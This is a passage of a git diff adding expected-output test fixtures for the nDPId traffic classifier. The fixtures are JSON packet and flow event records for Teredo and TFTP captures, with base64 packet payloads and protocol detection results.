+00559{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"teredo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1438853632,"pkt_ts_usec":766780,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"ABsXAAEVbEFqjICJCABFAACJMcIAAHIRHR7CiBxMCnAQQA3Y21oAdWZ0AAEAABh7537NjT4KAAAAJKVG+T9GYAAAAAAwOv\/+gAAAAAAAAIAA8ic9d+Oz\/oAAAAAAAAAAAP\/\/\/\/\/\/\/oYARiEAAAAAAAA6mAAAB9ADBEBA\/\/\/\/\/\/\/\/\/\/8AAAAAIAEAAMKIHEy6FgeABnFWlQ=="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9,"source":"teredo.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1438853633749,"flow_last_seen":0,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":60,"flow_max_l4_data_len":60,"flow_avg_l4_data_len":60,"midstream":0,"l3_proto":"ip4","src_ip":"10.112.16.67","dst_ip":"194.136.28.76","src_port":51812,"dst_port":3544,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00461{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"teredo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1438853633,"pkt_ts_usec":749196,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"bEFqjICJABsXAAEVCABFAABQa1QAAH4R18EKcBBDwogcTMpkDdgAPJPWYAAAAAAMOhUgAQAAwogcTCDzNZtG+T9GIALCiBxMAAAAAAAAwogcTYAA6wgo8LJvAAAAAA=="} +00506{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9,"source":"teredo.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1438853633749,"flow_last_seen":0,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":60,"flow_max_l4_data_len":60,"flow_avg_l4_data_len":60,"midstream":0,"l3_proto":"ip4","src_ip":"10.112.16.67","dst_ip":"194.136.28.76","src_port":51812,"dst_port":3544,"l4_proto":"udp","ndpi": {"proto":"Teredo","breed":"Acceptable","category":"Network"}} +00462{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"teredo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1438853633,"pkt_ts_usec":749978,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"bEFqjICJABsXAAEVCABFAABRa1UAAH4R178KcBBDwogcTMpkDdgAPZLqYAAAAAANOv8gAQAAwogcTCDzNZtG+T9GIALCiBxMAAAAAAAAwogcTIAAbVcAAQaF2tytrco="} +00463{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"teredo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1438853633,"pkt_ts_usec":803112,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"ABsXAAEVbEFqjICJCABFAABRMcMAAHIRHVLCiBxMCnAQQw3YymQAPZNqYAAAAAANOn8gAsKIHEwAAAAAAADCiBxMIAEAAMKIHEwg8zWbRvk\/RoEAbFcAAQaF2tytrco="} +00462{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"teredo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1438853635,"pkt_ts_usec":723980,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"bEFqjICJABsXAAEVCABFAABQa2cAAH4R164KcBBDwogcTMpkDdgAPJPWYAAAAAAMOhUgAQAAwogcTCDzNZtG+T9GIALCiBxMAAAAAAAAwogcTYAAGb3LNOF2AAAAAA=="} +00462{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"teredo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1438853637,"pkt_ts_usec":724165,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"bEFqjICJABsXAAEVCABFAABQa5MAAH4R14IKcBBDwogcTMpkDdgAPJPWYAAAAAAMOhUgAQAAwogcTCDzNZtG+T9GIALCiBxMAAAAAAAAwogcTYAAvSDg4ChnAAAAAA=="} +00462{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"teredo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1438853638,"pkt_ts_usec":724189,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"bEFqjICJABsXAAEVCABFAABQa5oAAH4R13sKcBBDwogcTMpkDdgAPJPWYAAAAAAMOhUgAQAAwogcTCDzNZtG+T9GIALCiBxMAAAAAAAAwogcTIAAXeU5DFCjwogcTA=="} +00454{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"teredo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1438853638,"pkt_ts_usec":766352,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"ABsXAAEVbEFqjICJCABFAABMMcQAAHIRHVbCiBxMCnAQQw3YymQAOBHZAADyJz1347NgAAAAAAA7Ff6AAAAAAAAAgADyJz1347MgAQAAwogcTCDzNZtG+T9G"} +00447{"flow_id":5,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"teredo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1438853638,"pkt_ts_usec":766540,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"bEFqjICJABsXAAEVCABFAABEa6AAAH4R14EKcBBDwogcTMpkDdgAMCU8YAAAAAAAOxUgAQAAwogcTCDzNZtG+T9G\/oAAAAAAAACAAPInPXfjsw=="} +00463{"flow_id":5,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"teredo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1438853638,"pkt_ts_usec":777008,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"ABsXAAEVbEFqjICJCABFAABQMcUAAHIRHVHCiBxMCnAQQw3YymQAPJNsYAAAAAAMOn8gAsKIHEwAAAAAAADCiBxMIAEAAMKIHEwg8zWbRvk\/RoEAXOU5DFCjwogcTA=="} +00463{"flow_id":5,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"teredo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1438853647,"pkt_ts_usec":291101,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"bEFqjICJABsXAAEVCABFAABQbAIAAH4R1xMKcBBDwogcTMpkDdgAPJPWYAAAAAAMOhUgAQAAwogcTCDzNZtG+T9GIALCiBxMAAAAAAAAwogcTYAAhAc57whyAAAAAA=="} +00463{"flow_id":5,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"teredo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1438853647,"pkt_ts_usec":291449,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"bEFqjICJABsXAAEVCABFAABRbAMAAH4R1xEKcBBDwogcTMpkDdgAPZLqYAAAAAANOv8gAQAAwogcTCDzNZtG+T9GIALCiBxMAAAAAAAAwogcTIAAbVUAAQaH2tytrco="} +00465{"flow_id":5,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"teredo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1438853647,"pkt_ts_usec":345196,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"ABsXAAEVbEFqjICJCABFAABRMcYAAHIRHU\/CiBxMCnAQQw3YymQAPZNqYAAAAAANOn8gAsKIHEwAAAAAAADCiBxMIAEAAMKIHEwg8zWbRvk\/RoEAbFUAAQaH2tytrco="} +00463{"flow_id":5,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"teredo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1438853649,"pkt_ts_usec":223924,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"bEFqjICJABsXAAEVCABFAABQbCkAAH4R1uwKcBBDwogcTMpkDdgAPJPWYAAAAAAMOhUgAQAAwogcTCDzNZtG+T9GIALCiBxMAAAAAAAAwogcTYAAWgFHGCVPAAAAAA=="} +00463{"flow_id":5,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"teredo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1438853651,"pkt_ts_usec":224097,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"bEFqjICJABsXAAEVCABFAABQbEIAAH4R1tMKcBBDwogcTMpkDdgAPJPWYAAAAAAMOhUgAQAAwogcTCDzNZtG+T9GIALCiBxMAAAAAAAAwogcTYAA1cXm4AnCAAAAAA=="} +00486{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"teredo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1438853653,"pkt_ts_usec":349933,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"bEFqjICJABsXAAEVCABFAABZW7oAAH4R5ysKcBBqwogcTM0hDdgARX2HAAEAALEbP+pGqa\/pAGAAAAAACDr\/\/oAAAAAAAAAAAP\/\/\/\/\/\/\/v8CAAAAAAAAAAAAAAAAAAKFAH04AAAAAA=="} +00561{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"teredo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1438853653,"pkt_ts_usec":403120,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"ABsXAAEVbEFqjICJCABFAACJMcgAAHIRHO7CiBxMCnAQag3YzSEAdV9uAAEAALEbP+pGqa\/pAAAAMt5G+T9GYAAAAAAwOv\/+gAAAAAAAAIAA8ic9d+Oz\/oAAAAAAAAAAAP\/\/\/\/\/\/\/oYAZL4AAAAAAAA6mAAAB9ADBEBA\/\/\/\/\/\/\/\/\/\/8AAAAAIAEAAMKIHEwAAAAAAAAAAA=="} diff --git a/test/results/tftp_rrq.pcap.out b/test/results/tftp_rrq.pcap.out new file mode 100644 index 000000000..cca09bbf4 --- /dev/null +++ b/test/results/tftp_rrq.pcap.out @@ -0,0 +1,19 @@ +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"tftp_rrq.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1367411051972,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.253","dst_ip":"192.168.0.10","src_port":50618,"dst_port":69,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00419{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"tftp_rrq.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1367411051,"pkt_ts_usec":972852,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AFCN14tDAAu+GJpACABFAAAwAAAAAP8ROWXAqAD9wKgACsW6AEUAHD4gAAFyZmMxMzUwLnR4dABvY3RldAA="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"tftp_rrq.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1367411052077,"flow_last_seen":0,"flow_tot_l4_data_len":524,"flow_min_l4_data_len":524,"flow_max_l4_data_len":524,"flow_avg_l4_data_len":524,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.10","dst_ip":"192.168.0.253","src_port":3445,"dst_port":50618,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01082{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"tftp_rrq.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1367411052,"pkt_ts_usec":77243,"pkt_caplen":558,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":558,"pkt_l4_len":524,"pkt":"AAu+GJpAAFCN14tDCABFAAIgkyUAAIARI1DAqAAKwKgA\/Q11xboCDNSjAAMAAQoKCgoKCk5ldHdvcmsgV29ya2luZyBHcm91cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSy4gU29sbGlucwpSZXF1ZXN0IEZvciBDb21tZW50czogMTM1MCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNSVQKU1REOiAzMyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSnVseSAxOTkyCk9ic29sZXRlczogUkZDIDc4MwoKCiAgICAgICAgICAgICAgICAgICAgIFRIRSBURlRQIFBST1RPQ09MIChSRVZJU0lPTiAyKQoKU3RhdHVzIG9mIHRoaXMgTWVtbwoKICAgVGhpcyBSRkMgc3BlY2lmaWVzIGFuIElBQiBzdGFuZGFyZHMgdHJhY2sgcHJvdG9jb2wgZm9yIHRoZSBJbnRlcm5ldAogICBjb21tdW5pdHksIGFuZCByZXF1ZXN0cyBkaXNjdXNzaW9uIGFuZCBzdWdnZXN0aW9ucyBmb3IgaW1wcm92ZW1lbnRzLgogICBQbGVhc2UgcmVmZXIgdG8gdGhlIGN1cnJlbnQgZWRpdGlvbiBvZiB0aGUgIklB"} +00414{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"tftp_rrq.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1367411052,"pkt_ts_usec":81790,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":12,"pkt":"AFCN14tDAAu+GJpACABFAAAgAAEAAP8ROXTAqAD9wKgACsW6DXUADKpJAAQAAQAAAAAAAAAAAAAAAAAA"} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"tftp_rrq.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":2,"flow_first_seen":1367411052077,"flow_last_seen":1367411052081,"flow_tot_l4_data_len":536,"flow_min_l4_data_len":12,"flow_max_l4_data_len":524,"flow_avg_l4_data_len":268,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.10","dst_ip":"192.168.0.253","src_port":3445,"dst_port":50618,"l4_proto":"udp","ndpi": {"proto":"TFTP","breed":"Acceptable","category":"DataTransfer"}} +01082{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"tftp_rrq.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1367411052,"pkt_ts_usec":86300,"pkt_caplen":558,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":558,"pkt_l4_len":524,"pkt":"AAu+GJpAAFCN14tDCABFAAIgkycAAIARI07AqAAKwKgA\/Q11xboCDOXlAAMAAkIgT2ZmaWNpYWwgUHJvdG9jb2wKICAgU3RhbmRhcmRzIiBmb3IgdGhlIHN0YW5kYXJkaXphdGlvbiBzdGF0ZSBhbmQgc3RhdHVzIG9mIHRoaXMgcHJvdG9jb2wuCiAgIERpc3RyaWJ1dGlvbiBvZiB0aGlzIG1lbW8gaXMgdW5saW1pdGVkLgoKU3VtbWFyeQoKICAgVEZUUCBpcyBhIHZlcnkgc2ltcGxlIHByb3RvY29sIHVzZWQgdG8gdHJhbnNmZXIgZmlsZXMuICBJdCBpcyBmcm9tCiAgIHRoaXMgdGhhdCBpdHMgbmFtZSBjb21lcywgVHJpdmlhbCBGaWxlIFRyYW5zZmVyIFByb3RvY29sIG9yIFRGVFAuCiAgIEVhY2ggbm9udGVybWluYWwgcGFja2V0IGlzIGFja25vd2xlZGdlZCBzZXBhcmF0ZWx5LiAgVGhpcyBkb2N1bWVudAogICBkZXNjcmliZXMgdGhlIHByb3RvY29sIGFuZCBpdHMgdHlwZXMgb2YgcGFja2V0cy4gIFRoZSBkb2N1bWVudCBhbHNvCiAgIGV4cGxhaW5zIHRoZSByZWFzb25zIGJlaGluZCBzb21lIG9mIHRoZSBkZXNpZ24gZGVjaXNpb25zLgoKQWNrbm93bGVnZW1lbnRzCgogICBUaGUg"} +00414{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"tftp_rrq.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1367411052,"pkt_ts_usec":88961,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":12,"pkt":"AFCN14tDAAu+GJpACABFAAAgAAIAAP8ROXPAqAD9wKgACsW6DXUADKpIAAQAAgAAAAAAAAAAAAAAAAAA"} +01083{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"tftp_rrq.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1367411052,"pkt_ts_usec":88995,"pkt_caplen":558,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":558,"pkt_l4_len":524,"pkt":"AAu+GJpAAFCN14tDCABFAAIgkygAAIARI03AqAAKwKgA\/Q11xboCDFT\/AAMAA3Byb3RvY29sIHdhcyBvcmlnaW5hbGx5IGRlc2lnbmVkIGJ5IE5vZWwgQ2hpYXBwYSwgYW5kIHdhcwogICByZWRlc2lnbmVkIGJ5IGhpbSwgQm9iIEJhbGR3aW4gYW5kIERhdmUgQ2xhcmssIHdpdGggY29tbWVudHMgZnJvbQogICBTdGV2ZSBTenltYW5za2kuICBUaGUgY3VycmVudCByZXZpc2lvbiBvZiB0aGUgZG9jdW1lbnQgaW5jbHVkZXMKICAgbW9kaWZpY2F0aW9ucyBzdGVtbWluZyBmcm9tIGRpc2N1c3Npb25zIHdpdGggYW5kIHN1Z2dlc3Rpb25zIGZyb20KICAgTGFycnkgQWxsZW4sIE5vZWwgQ2hpYXBwYSwgRGF2ZSBDbGFyaywgR2VvZmYgQ29vcGVyLCBNaWtlIEdyZWVud2FsZCwKICAgTGl6YSBNYXJ0aW4sIERhdmlkIFJlZWQsIENyYWlnIE1pbG8gUm9nZXJzIChvZiBVU0MtSVNJKSwgS2F0aHkKICAgWWVsbGljaywgYW5kIHRoZSBhdXRob3IuICBUaGUgYWNrbm93bGVkZ2VtZW50IGFuZCByZXRyYW5zbWlzc2lvbgogICBzY2hlbWUgd2FzIGluc3BpcmVkIGJ5IFRDUCwgYW5kIHRoZSBlcnJv"} +00414{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"tftp_rrq.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1367411052,"pkt_ts_usec":91646,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":12,"pkt":"AFCN14tDAAu+GJpACABFAAAgAAMAAP8ROXLAqAD9wKgACsW6DXUADKpHAAQAAwAAAAAAAAAAAAAAAAAA"} +01082{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"tftp_rrq.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1367411052,"pkt_ts_usec":91675,"pkt_caplen":558,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":558,"pkt_l4_len":524,"pkt":"AAu+GJpAAFCN14tDCABFAAIgkykAAIARI0zAqAAKwKgA\/Q11xboCDB5BAAMABHIgbWVjaGFuaXNtIHdhcyBzdWdnZXN0ZWQgYnkKICAgUEFSQydzIEVGVFAgYWJvcnQgbWVzc2FnZS4KCiAgIFRoZSBNYXksIDE5OTIgcmV2aXNpb24gdG8gZml4IHRoZSAiU29yY2VyZXIncyBBcHByZW50aWNlIiBwcm90b2NvbAogICBidWcgWzRdIGFuZCBvdGhlciBtaW5vciBkb2N1bWVudCBwcm9ibGVtcyB3YXMgZG9uZSBieSBOb2VsIENoaWFwcGEuCgogICBUaGlzIHJlc2VhcmNoIHdhcyBzdXBwb3J0ZWQgYnkgdGhlIEFkdmFuY2VkIFJlc2VhcmNoIFByb2plY3RzIEFnZW5jeQogICBvZiB0aGUgRGVwYXJ0bWVudCBvZiBEZWZlbnNlIGFuZCB3YXMgbW9uaXRvcmVkIGJ5IHRoZSBPZmZpY2Ugb2YgTmF2YWwKICAgUmVzZWFyY2ggdW5kZXIgY29udHJhY3QgbnVtYmVyIE4wMDAxNC03NS1DLTA2NjEuCgoxLiBQdXJwb3NlCgogICBURlRQIGlzIGEgc2ltcGxlIHByb3RvY29sIHRvIHRyYW5zZmVyIGZpbGVzLCBhbmQgdGhlcmVmb3JlIHdhcyBuYW1lZAogICB0aGUgVHJpdmlhbCBGaWxlIFRyYW5zZmVy"} +00414{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"tftp_rrq.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1367411052,"pkt_ts_usec":94383,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":12,"pkt":"AFCN14tDAAu+GJpACABFAAAgAAQAAP8ROXHAqAD9wKgACsW6DXUADKpGAAQABAAAAAAAAAAAAAAAAAAA"} +01083{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"tftp_rrq.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1367411052,"pkt_ts_usec":94416,"pkt_caplen":558,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":558,"pkt_l4_len":524,"pkt":"AAu+GJpAAFCN14tDCABFAAIgkyoAAIARI0vAqAAKwKgA\/Q11xboCDGdMAAMABSBQcm90b2NvbCBvciBURlRQLiAgSXQgaGFzIGJlZW4gaW1wbGVtZW50ZWQKICAgb24gdG9wIG9mIHRoZSBJbnRlcm5ldCBVc2VyIERhdGFncmFtIHByb3RvY29sIChVRFAgb3IgRGF0YWdyYW0pIFsyXQoKCgpTb2xsaW5zICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMV0KDApSRkMgMTM1MCAgICAgICAgICAgICAgICAgICAgVEZUUCBSZXZpc2lvbiAyICAgICAgICAgICAgICAgICAgICBKdWx5IDE5OTIKCgogICBzbyBpdCBtYXkgYmUgdXNlZCB0byBtb3ZlIGZpbGVzIGJldHdlZW4gbWFjaGluZXMgb24gZGlmZmVyZW50CiAgIG5ldHdvcmtzIGltcGxlbWVudGluZyBVRFAuICAoVGhpcyBzaG91bGQgbm90IGV4Y2x1ZGUgdGhlIHBvc3NpYmlsaXR5CiAgIG9mIGltcGxlbWVudGluZyBURlRQIG9uIHRvcCBvZiBvdGhlciBkYXRhZ3JhbSBwcm90b2NvbHMuKSAgSXQgaXMKICAgZGVzaWduZWQgdG8gYmUgc21hbGwgYW5kIGVhc3kgdG8gaW1w"} +00416{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"tftp_rrq.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1367411052,"pkt_ts_usec":96993,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":12,"pkt":"AFCN14tDAAu+GJpACABFAAAgAAUAAP8ROXDAqAD9wKgACsW6DXUADKpFAAQABQAAAAAAAAAAAAAAAAAA"} +01084{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"tftp_rrq.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1367411052,"pkt_ts_usec":97021,"pkt_caplen":558,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":558,"pkt_l4_len":524,"pkt":"AAu+GJpAAFCN14tDCABFAAIgkysAAIARI0rAqAAKwKgA\/Q11xboCDBLwAAMABmxlbWVudC4gIFRoZXJlZm9yZSwgaXQgbGFja3MgbW9zdAogICBvZiB0aGUgZmVhdHVyZXMgb2YgYSByZWd1bGFyIEZUUC4gIFRoZSBvbmx5IHRoaW5nIGl0IGNhbiBkbyBpcyByZWFkCiAgIGFuZCB3cml0ZSBmaWxlcyAob3IgbWFpbCkgZnJvbS90byBhIHJlbW90ZSBzZXJ2ZXIuICBJdCBjYW5ub3QgbGlzdAogICBkaXJlY3RvcmllcywgYW5kIGN1cnJlbnRseSBoYXMgbm8gcHJvdmlzaW9ucyBmb3IgdXNlciBhdXRoZW50aWNhdGlvbi4KICAgSW4gY29tbW9uIHdpdGggb3RoZXIgSW50ZXJuZXQgcHJvdG9jb2xzLCBpdCBwYXNzZXMgOCBiaXQgYnl0ZXMgb2YKICAgZGF0YS4KCiAgIFRocmVlIG1vZGVzIG9mIHRyYW5zZmVyIGFyZSBjdXJyZW50bHkgc3VwcG9ydGVkOiBuZXRhc2NpaSAoVGhpcyBpcwogICBhc2NpaSBhcyBkZWZpbmVkIGluICJVU0EgU3RhbmRhcmQgQ29kZSBmb3IgSW5mb3JtYXRpb24gSW50ZXJjaGFuZ2UiCiAgIFsxXSB3aXRoIHRoZSBtb2RpZmljYXRpb25zIHNwZWNpZmllZCBpbiAi"} +00417{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"tftp_rrq.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1367411052,"pkt_ts_usec":99703,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":12,"pkt":"AFCN14tDAAu+GJpACABFAAAgAAYAAP8ROW\/AqAD9wKgACsW6DXUADKpEAAQABgAAAAAAAAAAAAAAAAAA"} 